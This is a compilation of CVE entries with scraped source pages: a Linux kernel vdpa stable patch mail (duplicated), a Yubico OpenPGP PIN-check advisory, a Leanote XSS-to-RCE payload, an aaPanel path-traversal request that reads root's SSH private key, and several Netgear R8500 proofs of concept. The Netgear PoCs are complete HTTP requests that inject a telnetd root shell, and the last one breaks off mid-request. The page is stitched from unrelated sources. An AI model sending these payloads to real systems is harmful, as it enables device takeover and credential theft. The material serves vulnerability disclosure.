An integer overflow flaw was found in the Linux kernel’s virtio device driver code in the way a user triggers the vhost_vdpa_config_validate function. This flaw allows a local user to crash or potentially escalate their privileges on the system.

From: Sasha Levin <sashal@kernel.org>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Cc: Laura Abbott <labbott@kernel.org>,
	Luo Likang <luolikang@nsfocus.com>,
	"Michael S . Tsirkin" <mst@redhat.com>,
	Sasha Levin <sashal@kernel.org>,
	jasowang@redhat.com, kvm@vger.kernel.org,
	virtualization@lists.linux-foundation.org,
	netdev@vger.kernel.org
Subject: \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling
Date: Sat, 22 Jan 2022 19:12:12 -0500	\[thread overview\]
Message-ID: <20220123001216.2460383-13-sashal@kernel.org> (raw)
In-Reply-To: <20220123001216.2460383-1-sashal@kernel.org\>

From: Laura Abbott <labbott@kernel.org>

\[ Upstream commit 870aaff92e959e29d40f9cfdb5ed06ba2fc2dae0 \]

The return type of get\_config\_size is size\_t so it makes
sense to change the type of the variable holding its result.

That said, this already got taken care of (differently, and arguably
not as well) by commit 3ed21c1451a1 ("vdpa: check that offsets are
within bounds").

The added 'c->off > size' test in that commit will be done as an
unsigned comparison on 32-bit (safe due to not being signed).

On a 64-bit platform, it will be done as a signed comparison, but in
that case the comparison will be done in 64-bit, and 'c->off' being an
u32 it will be valid thanks to the extended range (ie both values will
be positive in 64 bits).

So this was a real bug, but it was already addressed and marked for stable.

Signed-off-by: Laura Abbott <labbott@kernel.org>
Reported-by: Luo Likang <luolikang@nsfocus.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
 drivers/vhost/vdpa.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c
index d62f05d056b7b..913cd465f9f1e 100644
--- a/drivers/vhost/vdpa.c
+++ b/drivers/vhost/vdpa.c
@@ -195,7 +195,7 @@ static int vhost\_vdpa\_config\_validate(struct vhost\_vdpa \*v,
 				      struct vhost\_vdpa\_config \*c)
 {
 	struct vdpa\_device \*vdpa = v->vdpa;
\-	long size = vdpa->config->get\_config\_size(vdpa);
+	size\_t size = vdpa->config->get\_config\_size(vdpa);
 
 	if (c->len == 0 || c->off > size)
 		return -EINVAL;
-- 
2.34.1

next prev parent reply	other threads:\[~2022-01-23  0:14 UTC|newest\]

**Thread overview:** 6+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
     \[not found\] <20220123001216.2460383-1-sashal@kernel.org\>
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 07/16\] sit: allow encapsulated IPv6 traffic to be delivered locally Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 09/16\] net: apple: mace: Fix build since dev\_addr constification Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 10/16\] net: apple: bmac: " Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 12/16\] vhost/test: fix memory leak of vhost virtqueues Sasha Levin
**2022-01-23  0:12 \` Sasha Levin \[this message\]**
2022-04-02  3:57   \` \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling Dan Carpenter

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220123001216.2460383-13-sashal@kernel.org \\
    --to=sashal@kernel.org \\
    --cc=jasowang@redhat.com \\
    --cc=kvm@vger.kernel.org \\
    --cc=labbott@kernel.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=luolikang@nsfocus.com \\
    --cc=mst@redhat.com \\
    --cc=netdev@vger.kernel.org \\
    --cc=stable@vger.kernel.org \\
    --cc=virtualization@lists.linux-foundation.org \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-0998: [PATCH AUTOSEL 5.15 13/16] vdpa: clean up get_config_size ret value handling

From: Sasha Levin <sashal@kernel.org>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Cc: Laura Abbott <labbott@kernel.org>,
	Luo Likang <luolikang@nsfocus.com>,
	"Michael S . Tsirkin" <mst@redhat.com>,
	Sasha Levin <sashal@kernel.org>,
	jasowang@redhat.com, kvm@vger.kernel.org,
	virtualization@lists.linux-foundation.org,
	netdev@vger.kernel.org
Subject: \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling
Date: Sat, 22 Jan 2022 19:12:12 -0500	\[thread overview\]
Message-ID: <20220123001216.2460383-13-sashal@kernel.org> (raw)
In-Reply-To: <20220123001216.2460383-1-sashal@kernel.org\>

From: Laura Abbott <labbott@kernel.org>

\[ Upstream commit 870aaff92e959e29d40f9cfdb5ed06ba2fc2dae0 \]

The return type of get\_config\_size is size\_t so it makes
sense to change the type of the variable holding its result.

That said, this already got taken care of (differently, and arguably
not as well) by commit 3ed21c1451a1 ("vdpa: check that offsets are
within bounds").

The added 'c->off > size' test in that commit will be done as an
unsigned comparison on 32-bit (safe due to not being signed).

On a 64-bit platform, it will be done as a signed comparison, but in
that case the comparison will be done in 64-bit, and 'c->off' being an
u32 it will be valid thanks to the extended range (ie both values will
be positive in 64 bits).

So this was a real bug, but it was already addressed and marked for stable.

Signed-off-by: Laura Abbott <labbott@kernel.org>
Reported-by: Luo Likang <luolikang@nsfocus.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
 drivers/vhost/vdpa.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c
index d62f05d056b7b..913cd465f9f1e 100644
--- a/drivers/vhost/vdpa.c
+++ b/drivers/vhost/vdpa.c
@@ -195,7 +195,7 @@ static int vhost\_vdpa\_config\_validate(struct vhost\_vdpa \*v,
 				      struct vhost\_vdpa\_config \*c)
 {
 	struct vdpa\_device \*vdpa = v->vdpa;
\-	long size = vdpa->config->get\_config\_size(vdpa);
+	size\_t size = vdpa->config->get\_config\_size(vdpa);
 
 	if (c->len == 0 || c->off > size)
 		return -EINVAL;
-- 
2.34.1

     prev parent reply	other threads:\[~2022-01-23  0:14 UTC|newest\]

**Thread overview:** 5+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
     \[not found\] <20220123001216.2460383-1-sashal@kernel.org\>
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 07/16\] sit: allow encapsulated IPv6 traffic to be delivered locally Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 09/16\] net: apple: mace: Fix build since dev\_addr constification Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 10/16\] net: apple: bmac: " Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 12/16\] vhost/test: fix memory leak of vhost virtqueues Sasha Levin
**2022-01-23  0:12 \` Sasha Levin \[this message\]**

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220123001216.2460383-13-sashal@kernel.org \\
    --to=sashal@kernel.org \\
    --cc=jasowang@redhat.com \\
    --cc=kvm@vger.kernel.org \\
    --cc=labbott@kernel.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=luolikang@nsfocus.com \\
    --cc=mst@redhat.com \\
    --cc=netdev@vger.kernel.org \\
    --cc=stable@vger.kernel.org \\
    --cc=virtualization@lists.linux-foundation.org \\
    --subject='Re: \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling' \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

Yubico ykneo-openpgp before 1.0.10 has a typo in which an invalid PIN can be used. When first powered up, a signature will be issued even though the PIN has not been validated.

*   Github

Tracking IDs: YSA-2015-1 and CVE-2015-3298.

**Summary**

The source code contains a logical flaw related to user PIN (aka PW1) verification that allows an attacker with local host privileges and/or physical proximity (NFC) to perform security operations without knowledge of the user’s PIN code.

**Mitigation**

The flaw is mitigated by the fact that an attacker would typically require some abilities that would enable the attack even without the logical flaw.

In particular, any attacker with access to the local host must be assumed to be able to learn the user’s PIN code, simply by intercepting communication with the OpenPGP card hardware or through key logging.

Alternatively, if the attacker has physical proximity to the card, it could wait for the device to be used normally over NFC and then learn the PIN code wirelessly and perform the attack at a later point.

If your device is stolen, attackers may use it to perform private-key operations. If an attacker has gone through the trouble of obtaining physical access to a key, the conservative approach is to regard it is possible that the attacker were able to learn the PIN earlier since the PIN is often unprotected. In situations like this, you should treat the key as potentially compromised and revoke the key.

Generally the OpenPGP Card specification does not protect against private key-usage by malware and/or PIN phishing, and any OpenPGP Card implementation is vulnerable to similar attacks.

Note that the private key is not at jeopardy, and malware cannot learn the private key — this is in fact the primary threat that the OpenPGP card specification protects against.

**Analysis**

The following description is courtesy of Joey Castillo.

The bug appears to be a typo in the first line of the computeDigitalSignature, decipher and internalAuthenticate methods. The goal of each is to establish that the PW1 has been validated, AND the proper mode has been set (mode 81 for signing, mode 82 for everything else). According to the spec, if either of these conditions are not satisfied, the security operation should not proceed.

The application mangles this a bit, as you can see in line 628:

if (!pw1.isValidated() && pw1\_modes\[PW1\_MODE\_NO81\])
    ISOException.throwIt(SW\_SECURITY\_STATUS\_NOT\_SATISFIED);
// otherwise execution continues

This truth table shows the outcome of the conditional, and the two cases where the logic fails:

     

Case

PIN valid

Mode 81

!(PIN valid)

Result

Outcome

1

true

true

false

false

No exception

2

false

true

true

true

Exception thrown

3

true

false

false

false

No exception (Incorrect)

4

false

false

true

false

No exception (Incorrect)

I discovered this bug due to case #3: OpenKeychain for Android mistakenly verifies the PIN with mode 82 for signing, which should not allow a signature to be generated. The Yubikey generates a signature anyway.

The dire case is #4: when the card is powered up, the PIN has not been validated, and both modes are set to false. In this state, the card will issue a signature even though the PIN has not been validated. The same bug is present in the decipher command (line 659) and the internalAuthenticate command (line 683), just with the mode set to 82. This means the card will also decrypt session keys and authenticate challenges unconditionally.

**Solution**

This is also courtesy of Joey Castillo.

The fix is to change each of the conditionals to the following:

if (!pw1.isValidated() || !pw1\_modes\[PW1\_MODE\_NO8x\])
    ISOException.throwIt(SW\_SECURITY\_STATUS\_NOT\_SATISFIED);
// otherwise execution continues

This way, if the PIN has not been validated, OR the proper mode has not been set, an exception is thrown. Execution is only allowed to continue if both conditions are true.

This fix has been integrated into ykneo-openpgp and is part of the version 1.0.9 release, but read on for some information about 1.0.10.

**How to check if you are affected**

Versions below 1.0.9 are affected by this problem. Unfortunately, some YubiKey NEOs shipped with a 1.0.9 release that did not contain the fix. To simplify version checking, we have released 1.0.10 and NEOs using that version is known to always include the fix. To be certain that your NEO has the fixed ykneo-openpgp applet installed, look for a version of 1.0.10 or later.

You may check the applet version with the following command.

 gpg-connect-agent --hex "scd apdu 00 f1 00 00" /bye
 D\[0000\]  01 00 06 90 00                                     .....
 OK

The string "01 00 06" means version 1.0.6, which would be affected by this problem.

**Recommendation**

The logical flaw is real and violates assumption of how the OpenPGP applet works in principle. However its practical consequences are relatively small as a successful attack requires other privileged operations (such as local root access) that are normally not available to an attacker, and would have undermined the security anyway.

Regardless of this assessment, Yubico has decided to replace YubiKey NEO keys for those who are using the OpenPGP applet version 1.0.9 or earlier. This replacement program began on April 26, 2015. **Update: This replacement program ended on April 18, 2019.**

Therefore, we don't see any immediate need for users to upgrade existing deployed products. We will incorporate the improved code in future products sold, and add self-tests to our software project to detect any regression in this area.

For stolen devices, we continue to recommend users to follow best-practices and revoke the key as a conservative measure.

As we take all security related incidents seriously we have prepared a prompt security advisory and released all information about this incident that we know about. We welcome further analysis of the source code, as this will over time increase confidence in the product, and is the reason the source is available.

If you have additional inquiries related to your YubiKey NEO purchase, please contact your sales contact for further discussion.

This defect was present in the code we inherited from the “javacardopenpgp” project, and that project has been notified. There may be other forks, public or not, and we recommend the community to review other code with the same origin.

**History of events**

*   2015-04-11 Reported by Joey Castillo.
    
*   2015-04-11 Version 1 of security advisory circulated for review.
    
*   2015-04-13 Mitre assigned id for vulnerability as CVE-2015-3298.
    
*   2015-04-13 Upstream project “javacardopenpgp” notified.
    
*   2015-04-14 Security advisory published.
    
*   2015-04-20 Some 1.0.9 NEOs were shipped without the fix, text updated to recommend looking for 1.0.10 as a better minimum version.
    
*   2015-04-27 Add an update about Yubico replacement policy.
    
*   2019-04-18 Remove the update about Yubico replacement policy.
    
*   2019-05-02 Clarify previous update, adding date of policy expiration.

CVE-2015-3298: SecurityAdvisory 2015-04-14

Leanote 2.7.0 is vulnerable to Cross Site Scripting (XSS) in the markdown type note. This leads to remote code execution with payload : <video src=x onerror=(function(){require('child_process').exec('calc');})();>

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2021-43721: Markdown type note XSS issue · Issue #364 · leanote/desktop-app

aaPanel v6.8.21 was discovered to be vulnerable to directory traversal. This vulnerability allows attackers to obtain the root user private SSH key(id_rsa).

    # Exploit Title: aaPanel 6.8.21 - Directory Traversal (Authenticated)
    # Date: 22.02.2022
    # Exploit Author: Fikrat Ghuliev (Ghuliev)
    # Vendor Homepage: https://www.aapanel.com/
    # Software Link: https://www.aapanel.com
    # Version: 6.8.21
    # Tested on: Ubuntu
    
    Application vulnerable to Directory Traversal and attacker can get root user private ssh key(id_rsa)
    
    #Go to App Store
    
    #Click to "install" in any free plugin.
    
    #Change installation script to ../../../root/.ssh/id_rsa
    
    POST /ajax?action=get_lines HTTP/1.1
    Host: IP:7800
    Content-Length: 41
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
    AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82
    Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://IP:7800
    Referer: http://IP:7800/soft
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: aa0775f98350c5c13bfd21f2c6b8c288=d20c4937-e5ae-46fb-b8bd-fa7c290d805a.ohyRHdOIMj3DBfyddCRbL-rlKB0;
    request_token=nKLXa4RUXgwBHeWNyMH1MEDSkTaks9dWjQ7zzA0iRc7lrHwd;
    serverType=nginx; order=id%20desc; memSize=3889; vcodesum=13;
    page_number=20; backup_path=/www/backup; sites_path=/www/wwwroot;
    distribution=ubuntu; serial_no=; pro_end=-1; load_page=null;
    load_type=null; load_search=undefined; force=0; rank=list;
    Path=/www/wwwroot; bt_user_info=; default_dir_path=/www/wwwroot/;
    path_dir_change=/www/wwwroot/
    Connection: close
    
    num=10&filename=../../../root/.ssh/id_rsa

CVE-2022-26252: Offensive Security’s Exploit Database Archive

NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in the sysNewPasswd and sysConfirmPasswd parameters to admin_account.cgi.

**Netgear R8500 Router Vulnerability****Basic infomation**

*   Vendor: Netgear
    
*   Product: R8500
    
*   Firmware version: V1.0.2.158
    
*   Firmware download link: https://www.downloads.netgear.com/files/GDC/R8500/R8500-V1.0.2.158\_1.0.105.zip
    
*   Type:Remote Command Execution
    
*   author:donothingme
    

**Vulnerability description**

We found a Command Injection vulnerability in Netgear R8500 router, which allows an authenticated attacker to execute arbitrary OS commands by a crafted request.

In set password page(http://www.routerlogin.net/genie\_admin\_account.htm), we can set new password.

The `sysNewPasswd` and `sysConfirmPasswd` fields have a command injection vulnerability. If we set the two fields equal to `%24%28telnetd+-l+%2Fbin%2Fsh+-p+33333+-b+0.0.0.0%29`, we can actually execute command which `$(telnetd -l /bin/sh -p 33333-b 0.0.0.0)`.

![image-20220321151416068](https://github.com/donothingme/VUL/raw/main/vul3/3.assets/image-20220321151416068.png)

The POC like follows:

    POST /admin_account.cgi?id=7b1f57fc21e93455c9661ac4b027ee24b675c5cdbe2364d4783154751352f378 HTTP/1.1
    Host: 192.168.1.1
    Proxy-Connection: keep-alive
    Content-Length: 195
    Cache-Control: max-age=0
    Authorization: Basic YWRtaW46cGFzc3dvcmQ=
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.1.1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.1.1/genie_admin_account.htm
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
    Cookie: XSRF_TOKEN=4125904923
    
    sysNewPasswd=%24%28telnetd+-l+%2Fbin%2Fsh+-p+33333+-b+0.0.0.0%29&sysConfirmPasswd=%24%28telnetd+-l+%2Fbin%2Fsh+-p+33333+-b+0.0.0.0%29&question1=1&answer1=test&question2=1&answer2=test&next=submit
    

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

![image-20220321143133027](https://github.com/donothingme/VUL/raw/main/vul3/3.assets/image-20220321143133027.png)

**Some tips to trigger vulnerability:**

*   Use IP address(192.168.1.1) instead of url(www.routerlogin.net) to access web page
*   Plug in the USB stick to make sure reproduce successfunly

**Firmware analysis**

We can locate the vulnerability function by string "admin\_account.cgi".

![image-20220321151509958](https://github.com/donothingme/VUL/raw/main/vul3/3.assets/image-20220321151509958.png)

In function `sub_72934`, the `sysNewPasswd` field is directly saved in nvram config, and this field is directly controlled by attackers.

![image-20220321151641996](https://github.com/donothingme/VUL/raw/main/vul3/3.assets/image-20220321151641996.png)

The nvram value `htt_passwd` is used in many functions, and some functions use this value to execute function `system()`, so it will cause a command injection vulnerability.

![image-20220321165427267](https://github.com/donothingme/VUL/raw/main/vul3/3.assets/image-20220321165427267.png)

CVE-2022-27946: VUL/3.md at main · donothingme/VUL

NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in the sysNewPasswd and sysConfirmPasswd parameters to password.cgi.

**Netgear R8500 Router Vulnerability****Basic infomation**

*   Vendor: Netgear
    
*   Product: R8500
    
*   Firmware version: V1.0.2.158
    
*   Firmware download link: https://www.downloads.netgear.com/files/GDC/R8500/R8500-V1.0.2.158\_1.0.105.zip
    
*   Type:Remote Command Execution
    
*   author:donothingme
    

**Vulnerability description**

We found a Command Injection vulnerability in Netgear R8500 router, which allows an authenticated attacker to execute arbitrary OS commands by a crafted request.

In set password page(http://www.routerlogin.net/PWD\_password.htm), we can set new password.

The `sysNewPasswd` and `sysConfirmPasswd` fields have a command injection vulnerability. If we set the two fields equal to `%24%28telnetd+-l+%2Fbin%2Fsh+-p+44444+-b+0.0.0.0%29`, we can actually execute command which `$(telnetd -l /bin/sh -p 44444 -b 0.0.0.0)`.

![image-20220321145311536](https://github.com/donothingme/VUL/raw/main/vul2/2.assets/image-20220321145311536.png)

The POC like follows:

    POST /password.cgi?id=011b0b1ad47a66d6220c8cd546f41a553cafa50aaadb10fe3dd324af7225cf35 HTTP/1.1
    Host: www.routerlogin.net
    Proxy-Connection: keep-alive
    Content-Length: 425
    Cache-Control: max-age=0
    Authorization: Basic YWRtaW46cGFzc3dvcmQ=
    Upgrade-Insecure-Requests: 1
    Origin: http://www.routerlogin.net
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://www.routerlogin.net/PWD_password.htm
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
    Cookie: XSRF_TOKEN=1222440606
    
    buttonHit=cfAlert_Apply&buttonValue=%E5%BA%94%E7%94%A8&cfAlert_Apply=%E5%BA%94%E7%94%A8&sysOldPasswd=password&sysNewPasswd=%24%28telnetd+-l+%2Fbin%2Fsh+-p+44444+-b+0.0.0.0%29&sysConfirmPasswd=%24%28telnetd+-l+%2Fbin%2Fsh+-p+44444+-b+0.0.0.0%29&checkPassRec=1&question1=1&answer1=test&question2=1&answer2=test&timestamp_value=Mon+Mar+21+2022+09%3A41%3A08+GMT%2B0800+%28%E4%B8%AD%E5%9B%BD%E6%A0%87%E5%87%86%E6%97%B6%E9%97%B4%29
    

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

![image-20220321094402948](https://github.com/donothingme/VUL/raw/main/vul2/2.assets/image-20220321094402948.png)

**Some tips to trigger vulnerability:**

*   Use IP address(192.168.1.1) instead of url(www.routerlogin.net) to access web page
*   Plug in the USB stick to make sure reproduce successfunly

**Firmware analysis**

We can locate the vulnerability function by string "password.cgi".

![image-20220321143703221](https://github.com/donothingme/VUL/raw/main/vul2/2.assets/image-20220321143703221.png)

In function `sub_38944`, the `sysNewPasswd` field is directly saved in nvram config, and this field is directly controlled by attackers.

![image-20220321145040867](https://github.com/donothingme/VUL/raw/main/vul2/2.assets/image-20220321145040867.png)

The nvram value `htt_passwd` is used in many functions, and some functions use this value to execute function `system()`, so it will cause a command injection vulnerability.

![image-20220321145204145](https://github.com/donothingme/VUL/raw/main/vul2/2.assets/image-20220321145204145.png)

CVE-2022-27945: VUL/2.md at main · donothingme/VUL

NETGEAR R8500 1.0.2.158 devices allow remote authenticated users to execute arbitrary commands (such as telnetd) via shell metacharacters in the ipv6_fix.cgi ipv6_wan_ipaddr, ipv6_lan_ipaddr, ipv6_wan_length, or ipv6_lan_length parameter.

**Netgear R8500 Router Vulnerability****Basic infomation**

*   Vendor: Netgear
    
*   Product: R8500
    
*   Firmware version: V1.0.2.158
    
*   Firmware download link: https://www.downloads.netgear.com/files/GDC/R8500/R8500-V1.0.2.158\_1.0.105.zip
    
*   Type:Remote Command Execution
    
*   author:donothingme
    

**Vulnerability description**

We found a Command Injection vulnerability in Netgear R8500 router, which allows an authenticated attacker to execute arbitrary OS commands by a crafted request.

In `http://www.routerlogin.net/IPV6_fixed.htm`, we can set a fixed ipv6 address.

In this page, there are 4 vulnerability points can trigger vulnerability. The reasons for the vulnerability are the same, so we only analyze one of them, and give 4 pocs to trigger vulnerability .

We can locate the vulnerability function by string "ipv6\_fix.cgi".

![image-20220321154257360](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321154257360.png)

In `/usr/bin/http` binary, the firmware save netword data to nvram.

In function `sub_9B10C`, the `ipv6_wan_ipaddr`/`ipv6_lan_ipaddr`/ `ipv6_wan_length`/`ipv6_lan_length`field is directly saved in nvram config, and this field is directly controlled by attackers.

![image-20220321154601683](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321154601683.png)

In `/sbin/acos_service` binary, the firmware extract network data from nvram. And these data is directly controlled by attackers.

In `sub_1F0C0`, `acosNvramConfig_get()` get data from nvram.

![image-20220321155054212](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321155054212.png)

In `sub_1D1AC`, firmware execute `system()` use the data of attacker, it will cause command injection vulnerability.

![image-20220321155143777](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321155143777.png)

**vulnerability point1**

**Some tips to trigger vulnerability:**

*   Use IP address(192.168.1.1) instead of url(www.routerlogin.net) to access web page
*   Plug in the USB stick to make sure reproduce successfunly

In `ipv6_wan_ipaddr` filed, if we set the filed equal to `%24%28telnetd+-l+%2Fbin%2Fsh+-p+9999+-b+0.0.0.0%29`,we can actually execute command which `$(telnetd -l /bin/sh -p 9999-b 0.0.0.0)`.

The POC like follows:

    POST /ipv6_fix.cgi?id=a963685274e4a40fab8d712f1cc1f55f1f1a749a094a7ae1a06d9534db56ce3d HTTP/1.1
    Host: 192.168.1.1
    Proxy-Connection: keep-alive
    Content-Length: 1089
    Cache-Control: max-age=0
    Authorization: Basic YWRtaW46cGFzc3dvcmQ=
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.1.1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.1.1/IPV6_fixed.htm
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
    Cookie: XSRF_TOKEN=1222440606
    
    apply=%E5%BA%94%E7%94%A8&login_type=%E9%9D%99%E6%80%81&IPv6WanAddr1=2001&IPv6WanAddr2=0000&IPv6WanAddr3=0000&IPv6WanAddr4=0000&IPv6WanAddr5=0000&IPv6WanAddr6=0000&IPv6WanAddr7=0000&IPv6WanAddr8=0000&ProfixWanLength=64&IPv6Gateway1=2001&IPv6Gateway2=0000&IPv6Gateway3=0000&IPv6Gateway4=0000&IPv6Gateway5=0000&IPv6Gateway6=0000&IPv6Gateway7=0000&IPv6Gateway8=0001&DAddr1=2001&DAddr2=0000&DAddr3=0000&DAddr4=0000&DAddr5=0000&DAddr6=0000&DAddr7=0000&DAddr8=0002&PDAddr1=&PDAddr2=&PDAddr3=&PDAddr4=&PDAddr5=&PDAddr6=&PDAddr7=&PDAddr8=&IpAssign=auto&IPv6LanAddr1=2002&IPv6LanAddr2=0000&IPv6LanAddr3=0000&IPv6LanAddr4=0000&IPv6LanAddr5=0000&IPv6LanAddr6=0000&IPv6LanAddr7=0000&IPv6LanAddr8=0001&ProfixLanLength=64&ipv6_wan_ipaddr=%24%28telnetd+-l+%2Fbin%2Fsh+-p+9999+-b+0.0.0.0%29&ipv6_lan_ipaddr=2002%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_wan_length=64&ipv6_lan_length=64&ipv6_pri_dns=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0002&ipv6_sec_dns=%3A%3A%3A%3A%3A%3A%3A&ipv6_wan_gateway=2001%3A0000%3A0000%3A0000%3A0000%3A0000%3A0000%3A0001&ipv6_enable_dhcp=&ipv6_proto=fixed
    

And as we can see, after send the craft request, the command is actually executed, and we can get a shell.

![image-20220321135622300](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321135622300.png)

**vulnerability point2**

In `ipv6_lan_ipaddr` filed, if we set the filed equal to `%24%28telnetd+-l+%2Fbin%2Fsh+-p+10000+-b+0.0.0.0%29`,we can actually execute command which `$(telnetd -l /bin/sh -p 10000-b 0.0.0.0)`.

![image-20220321135927259](https://github.com/donothingme/VUL/raw/main/vul1/1.assets/image-20220321135927259.png)

The POC like follows:

    POST /ipv6_fix.cgi?id=14f6201985986f34fc5b9f88600e017cbf67d002b45a03f48ebb8b6396edc3f4 HTTP/1.1
    Host: 192.168.1.1
    Proxy-Connection: keep-alive
    Content-Length: 1066
    Cache-Control: max-age=0
    Authorization: Basic YWRtaW46cGFzc3dvcmQ=
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.1.1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://192.168.1.1/IPV6_fixed.htm
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8
    Cookie: XSRF_TOKEN=2558749239
    
